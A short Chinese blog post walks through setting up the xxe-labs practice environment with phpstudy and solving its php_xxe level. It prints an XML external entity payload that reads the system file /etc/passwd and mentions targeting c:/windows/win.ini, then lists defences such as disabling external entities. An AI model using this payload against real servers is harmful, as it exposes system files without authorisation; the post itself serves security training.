XXE的搭建和通关

搭建

经过半天的搜寻后,发现,使用docker搭建的情况不是很如愿,于是找到了xxe-labs的包,再本地使用phpstudy进行搭建

通关 php_xxe

在这里插入图片描述
题目的样子是这样的,这是我们抓包后的结果
在这里插入图片描述
通过审计可以知道是post传入,根据xml的性质,我们直接构造XML声明和DTD部分,引用外部实体去尝试读取c:/windows/win.ini文件
再post参数中修改username,使他指向外部实体,从而利用该漏洞
以下为一些xml的固定格式

XML声明

<?xml version="1.0" encoding="utf-8"?>

XML DTD

DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构:

<!DOCTYPE admin [
<!ENTITY admin SYSTEM "file:///etc/passwd">]>

在这里插入图片描述

防御办法

  • 使用开发语言禁用外部实体;
  • 过滤SYSTEM、PUBLIC等关键字;


版权声明:本文为loseheart157原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。